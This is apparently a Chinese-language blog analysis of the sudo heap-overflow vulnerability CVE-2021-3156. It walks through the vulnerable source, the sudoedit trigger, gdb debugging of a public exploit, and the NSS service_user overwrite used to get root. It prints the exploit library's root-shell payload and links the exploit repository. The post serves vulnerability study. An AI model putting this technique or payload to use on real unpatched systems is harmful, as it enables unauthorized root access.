最近才爆出的sudo提权漏洞,危害十分大,能够影响到20.04版本。本文是根据原作者文章学习所得,如有错误,敬请各位大佬斧正,万分感谢。
漏洞环境
操作系统:ubuntu 18.04.1
sudo:1.8.21p2
glibc:2.27
exp:https://github.com/blasty/CVE-2021-3156.git
漏洞分析
CVE-2021-3156 ——sudo在处理单个反斜杠结尾的命令时,发生逻辑错误,存在堆溢出漏洞。当 sudo通过 -s 或 -i命令行选项在 shell模式下运行命令时,他将在命令参数中使用反斜杠转义特殊字符。但使用 -s或 -i标志运行 sudoedit时,实际上并未进行转义,从而导致堆溢出。
代码分析
sudo加上 -s选项会设置 MODE_SHELL,加上 -i选项会设置 MODE_SHELL和 MODE_LOGIN_SHELL。在 main()(sudo.c)函数中调用了parse_args(),parse_args()会连接所有命令行参数,并给元字符加反斜杠来重写 argv。
//sudo.c
/* Parse command line arguments. */
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
parse_args()下面一段代码的主要功能是先判断是否启用了 -s或 -i的 MODE_SHELL,如果启用了就对参数前面加上反斜杠重写参数。
//parse_args.c parse_args()
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { //检查是否开启 MODE_SHELL
char **av, *cmnd = NULL;
int ac = 1;
if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\'; //添加反斜杠
*dst++ = *src; //原参数
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\0';
ac += 2; /* -c cmnd */
}
在sudoers_policy_main()中调用了 set_cmnd()函数
//sudoers.c sudoers_policy_main()
/* Find command in path and apply per-command Defaults. */
cmnd_status = set_cmnd();
if (cmnd_status == NOT_FOUND_ERROR)
goto done;
在 set_cmnd()函数中,首先根据参数使用 strlen()函数计算了参数的 size,再调用 malloc()函数分配了 size大小的堆空间 user_args 。随后判断是否开启了 MODE_SHELL,如果开启了将会 连接命令行参数并存入堆空间 user_args。
// sudoers.c set_cmnd()
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //检查是否开启 MODE_SHELL或MODE_LOGIN_SHELL
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) { //from指向 命令参数
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++; //将from拷贝到 user_args
}
*to++ = ' ';
}
*--to = '\0';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(-1);
}
to += n;
*to++ = ' ';
}
*--to = '\0';
}
}
}
上面将命令行参数拷贝给堆空间的逻辑,如果命令行参数以1个反斜杠结尾例如 $ sudo -s / 112233
:
from[0]是反斜杠,from[1]是 null 结束符(非空格),满足如下要求 if (from[0] == '\\' && !isspace((unsigned char)from[1])) ;
所以,from 加1,指向 null 结束符;
null 结束符被拷贝到 user_args堆缓冲区, from又加1,from指向了null结束符后面第1个字符(超出参数的边界,此时为 1);
随后会继续循环将越界字符拷贝到 user_args堆缓冲区,发生了堆溢出漏洞
漏洞触发
上面指出,在 parse_args()会对启用了 -s或 -i的 MODE_SHELL和 MODE_RUN 的 sudo的参数加上 反斜杠 转义。
//parse_args.c parse_args()
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
...
而 set_cmnd()函数中触发堆溢出前,会判断是否启用了 MODE_SHELL 和 MODE_RUN、MODE_EDIT、MODE_CHECK 中的一个。那么就存在一个矛盾,如果要触发漏洞就需要启用 MODE_SHELL,但是如果启用了 MODE_SHELL,在 parse_args()函数中就会对所有参数转义,触发漏洞的 \,将会被转义为 \\,这样就无法触发漏洞了。
//sudoers.c set_cmnd()
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
所以这里 并没有使用 sudo,而是使用 sudoedit。原因在于如果使用 sudoedit,其还是会被软链接到使用 sudo命令,但是在 parse_args()函数中会自动设置 MODE_EDIT和不会重置 valid_flags,则 MODE_SHELL仍然在 valid_flags中 ,而且不会设置 MODE_RUN,这样就能跳过 parse_args()函数中转义参数的部分,同时满足 set_cmnd()函数中漏洞触发的部分。
//parse_args.c parse_args()
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS; //valid_flags默认参数包含MODE_SHELL,不包含MODE_RUN
...
/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT; //设置MODE_EDIT
sudo_settings[ARG_SUDOEDIT].value = "true";
}
注意:这里还要解释一下该漏洞可利用的几个有利点(参考该文):
user_agrs堆空间的 size是可控的,就是我们输入的 命令参数合并后的长度;
我们溢出的内容是可控的,取决于我们输入的 \后的字符内容,该字符会全部被溢出写到堆块后;
可以写 null字节到 user_args,每个以单反斜杠结尾的命令行参数或环境变量,都能往user_args写1个null字节
可以写连续多个 null,环境变量并不一定得是env_name=XXX这种形式,环境变量可以是字符串数组。C代码中用execve执行shell命令,环境变量设置2个连续的\即可插入2个连续的null字节。
char *env[] = { "AAA", "\\", "\\", "BBB", NULL };
execve("/usr/bin/sudoedit", argv, env);
漏洞调试
漏洞触发点
最开始想自己编译一个 sudo,带符号的调试更方便。但是这样会导致漏洞执行不成功。所以就只有用系统自带的无符号的sudo进行调试。
首先使用如下命令运行 exp:
sduo gdb --args ./sudo-hax-me-a-sandwich 0
随后,在 execve下断点:
catch exec
再运行该 continue
。
随后,gdb会断在 execve函数。我们在下断点 b setlocale,在继续运行,此时就会停在 setlocale函数。该函数是我们在执行 sudo最开始时会调用的。我们 finish后,就能够进入 sudo的 main函数中。
//sudo.c
int
main(int argc, char *argv[], char *envp[])
{
int nargc, ok, status = 0;
char **nargv, **env_add;
char **user_info, **command_info, **argv_out, **user_env_out;
struct sudo_settings *settings;
struct plugin_container *plugin, *next;
sigset_t mask;
debug_decl_vars(main, SUDO_DEBUG_MAIN)
/* Make sure fds 0-2 are open and do OS-specific initialization. */
fix_fds();
os_init(argc, argv, envp);
setlocale(LC_ALL, "");
...
随后,我们需要进入 set_cmnd函数。这里我是先通过 sudo的main函数运行加载完 sudoers.so动态库后,下的地址断点。通过分析 sudoers.so的汇编,能够找到下图是上面分析的漏洞代码的开始处:
//sudoers.so
.text:000000000001D988 add r13, 8
.text:000000000001D98C ; 345: v21 = strlen(av);
.text:000000000001D98C call _strlen
.text:000000000001D991 ; 346: av = *v20;
.text:000000000001D991 ; 349: while ( *v20 );
.text:000000000001D991 mov rdi, [r13+0]
.text:000000000001D995 ; 347: size += v21 + 1;
.text:000000000001D995 lea r14, [r14+rax+1]
.text:000000000001D99A test rdi, rdi
.text:000000000001D99D jnz short loc_1D988
.text:000000000001D99F ; 350: if ( !size || (user_args = (unsigned __int8 *)malloc(size), to = user_args, (qword_256970 = (__int64)user_args) == 0) )
.text:000000000001D99F test r14, r14
.text:000000000001D9A2 jz loc_1E4D0
.text:000000000001D9A8 mov rdi, r14 ; size
.text:000000000001D9AB call _malloc ; set_cmnd下断点处
.text:000000000001D9B0 test rax, rax
.text:000000000001D9B3 mov r13, rax
.text:000000000001D9B6 mov cs:qword_256970, rax
.text:000000000001D9BD jz loc_1E4D0
.text:000000000001D9C3 ; 364: if ( (sudo_mode & 0x60000) != 0 )
.text:000000000001D9C3 test dword ptr cs:2568F0h, 60000h
.text:000000000001D9CD ; 363: from = (unsigned __int8 *)v16[1];
.text:000000000001D9CD mov r15, [r15+8]
.text:000000000001D9D1 jz loc_1E0E0
.text:000000000001D9D7 ; 366: if ( from )
.text:000000000001D9D7 test r15, r15
.text:000000000001D9DA jz loc_1E288
.text:000000000001D9E0 ; 368: while ( 1 )
.text:000000000001D9E0
.text:000000000001D9E0 loc_1D9E0: ; CODE XREF: sub_1D5C0+CC0↓j
.text:000000000001D9E0 movzx eax, byte ptr [r15]
.text:000000000001D9E4 test al, al
.text:000000000001D9E6 jnz short loc_1DA12
.text:000000000001D9E8 jmp loc_1E268
.text:000000000001D9E8 ; ---------------------------------------------------------------------------
.text:000000000001D9ED align 10h
.text:000000000001D9F0 ; 375: v26 = *from;
.text:000000000001D9F0
.text:000000000001D9F0 loc_1D9F0: ; CODE XREF: sub_1D5C0+458↓j
.text:000000000001D9F0 ; sub_1D5C0+46F↓j
.text:000000000001D9F0 mov rax, r14
.text:000000000001D9F3 movzx edx, byte ptr [r15]
.text:000000000001D9F7 ; 376: v27 = from++;
.text:000000000001D9F7 mov r14, r15
.text:000000000001D9FA mov r15, rax
.text:000000000001D9FD ; 382: *to++ = v26;
.text:000000000001D9FD
.text:000000000001D9FD loc_1D9FD: ; CODE XREF: sub_1D5C0+475↓j
.text:000000000001D9FD add r13, 1
.text:000000000001DA01 mov [r13-1], dl
.text:000000000001DA05 ; 370: for ( from0 = *from; from0; from0 = v27[1] )
.text:000000000001DA05 movzx eax, byte ptr [r14+1]
.text:000000000001DA0A test al, al
.text:000000000001DA0C jz loc_1E268
.text:000000000001DA12 ; 372: v27 = from + 1;
.text:000000000001DA12
.text:000000000001DA12 loc_1DA12: ; CODE XREF: sub_1D5C0+426↑j
.text:000000000001DA12 cmp al, 5Ch ; '\'
.text:000000000001DA14 lea r14, [r15+1]
.text:000000000001DA18 ; 373: if ( from0 != '\\' || (v28 = __ctype_b_loc(), v26 = from[1], ((*v28)[v26] & 0x2000) != 0) )
.text:000000000001DA18 jnz short loc_1D9F0
.text:000000000001DA1A call ___ctype_b_loc
.text:000000000001DA1F movzx ecx, byte ptr [r15+1]
.text:000000000001DA24 mov rax, [rax]
.text:000000000001DA27 test byte ptr [rax+rcx*2+1], 20h
.text:000000000001DA2C mov rdx, rcx
.text:000000000001DA2F jnz short loc_1D9F0
.text:000000000001DA31 ; 380: from += 2;
.text:000000000001DA31 add r15, 2
.text:000000000001DA35 jmp short loc_1D9FD
直接在 malloc()函数的地址处下断点,就能够得到 user_args堆块的地址,如下图所示:
提权方法
这里需要先介绍一下该漏洞所使用的提权方法,先了解一个结构体 service_user 和一个函数 nss_load_library。在 service_user结构体中指定了要动态加载的动态链接库,如果能够修改 service_user->name,那么就能指定加载伪造的动态链接库。而 nss_load_library函数就是加载动态链接库的函数,其会调用 __libc_dlopen打开动态库。
typedef struct service_library
{
/* Name of service (`files', `dns', `nis', ...). */
const char *name;
/* Pointer to the loaded shared library. */
void *lib_handle;
/* And the link to the next entry. */
struct service_library *next;
} service_library;
// 1. service_user 结构
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
// 2. nss_load_library() 函数
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table, // (1)设置 ni->library
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name, // (2)伪造的库文件名必须是 libnss_xxx.so
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name); // (3)加载目标库
//continue long long function
这里需要注意 nss_load_library需要满足 ni->library != null和ni->library->lib_handle == NULL才能加载新库。
也就是我们需要将 ni->library覆盖为 null,将 ni->name覆盖我们自己伪造的库名字,且伪造的库文件名必须是 libnss_xxx.so。
那么,难点就是如何仅通过一个 堆溢出去覆盖一个 service_user结构。这里的方法是,在一个 service_user结构体前面释放一个堆块,然后 分配 user_args分配到该堆块,随后使用堆溢出覆盖 service_user结构体。
然后,使用 search -s systemd [heap]命令搜索 堆块中的systemd字符串。来定位 service_user结构体的位置,如下所示,可以看到 0x5618621b5450处是一个 service_user结构体。
而,通过malloc分配的 0x80 tcache位于 service_user结构体之前,相差 0x100。
可以看到 serviceuser偏移 0x30处 是 systemd,而我们通过堆溢出可以看到我们将该结构体中的 name覆盖为 X/POP_SH3LLZ(这里的 library在覆盖完后应该为 Null,但是我这里截图是在执行了 nss_new_service所截图,所以这里 library已经有了值)。
将离 user_args最近的 service_user结构体覆盖后,程序会调用 getgrgid()函数,最后去调用 nss_load_library。
//sudoers.so
.text:0000000000034720 loc_34720: ; CODE XREF: sub_344D0+3E↑j
.text:0000000000034720 mov edi, ebx ; gid
.text:0000000000034722 call _getgrgid ; 10
.text:0000000000034727 mov rbx, rax
.text:000000000003472A jmp loc_3451F
在 nssload_libray中,构造了满足调用新动态链接库的条件,所以会通过 ni->name构造动态链接库的名字 shlib_name为 libnss_X/POP_SH3LLZ .so.2。最终会通过 __libc_dlopen(shlib_name)打开。
而 libnssX/POP_SH3LLZ .so.2中只含有一个 init函数,该函数的作用就是id(0)调用 execv(‘/bin/sh’),自此完成了提权。
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
}
参考文献
https://www.jianshu.com/p/18f36f1342b3
https://bbs.pediy.com/thread-265669.htm